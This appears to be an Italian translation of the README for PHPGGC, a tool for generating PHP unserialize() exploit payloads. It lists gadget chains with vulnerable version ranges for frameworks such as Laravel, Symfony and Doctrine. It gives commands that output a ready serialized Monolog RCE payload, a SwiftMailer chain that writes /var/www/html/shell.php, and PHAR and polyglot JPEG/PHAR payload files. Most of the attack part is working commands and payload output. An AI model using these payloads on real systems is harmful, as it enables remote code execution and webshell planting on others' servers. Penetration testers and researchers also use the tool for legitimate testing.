
PHPGGC è una libreria di payload PHP unserialize() insieme a uno strumento per generarli, da riga di comando o programmaticamente.
PHPGGC è una libreria di payload unserialize() insieme a uno strumento per generarli, da riga di comando o programmaticamente. Quando incontri una unserialize su un sito web di cui non hai il codice, o semplicemente quando cerchi di costruire un exploit, questo strumento ti permette di generare il payload senza dover passare attraverso i noiosi passaggi di trovare e combinare i gadget. Può essere considerato l'equivalente di frohoff's ysoserial, ma per PHP. Attualmente, lo strumento supporta catene di gadget come: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii e ZendFramework.
Per eseguire PHPGGC è richiesto PHP >= 5.6.
Esegui ./phpggc -l per ottenere un elenco delle catene di gadget:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
Filtra le catene di gadget:
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
Ogni catena di gadget ha:
__destruct(), __toString(), offsetGet(), ...)Usa -i per ottenere informazioni dettagliate su una catena:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
Per i gadget RCE, il comando eseguito può avere 3 tipi di formattazione a seconda di come funziona il gadget:
./phpggc Symfony/RCE1 id./phpggc Symfony/RCE2 'phpinfo();'./phpggc Symfony/RCE4 system idUna volta selezionata una catena, esegui ./phpggc <gadget-chain> [parameters] per ottenere il payload.
Ad esempio, per ottenere un payload per Monolog, dovresti fare:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
Per una scrittura di file usando SwiftMailer, dovresti fare:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
L'opzione --wrapper (-w) ti permette di definire un file PHP contenente le seguenti funzioni:
process_parameters(array $parameters): Chiamata subito prima di generate(), permette di modificare i parametriprocess_object(object $object): Chiamata subito prima di serialize(), permette di modificare l'oggettoprocess_serialized(string $serialized): Chiamata subito dopo serialize(), permette di modificare la stringa serializzataAd esempio, se il codice vulnerabile si presenta così:
<?php
$data = unserialize($_GET['data']);
print $data['message'];
Potresti usare una catena __toString(), avvolgendola in questo modo:
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
E chiameresti phpggc in questo modo:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
Al BlackHat US 2018, @s_n_t ha rilasciato PHARGGC, un fork di PHPGGC che, invece di costruire un payload serializzato, costruisce un intero file PHAR. Questo file PHAR contiene dati serializzati e come tale può essere usato per varie tecniche di sfruttamento (file_exists, fopen, ecc.). Il documento è qui.
Gli archivi PHAR sono disponibili in tre formati diversi: PHAR, TAR e ZIP. Tutti e tre sono supportati da PHPGGC.
I file poliglotti possono essere generati usando --phar-jpeg (-pj). Sono disponibili altre opzioni (usa -h).
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id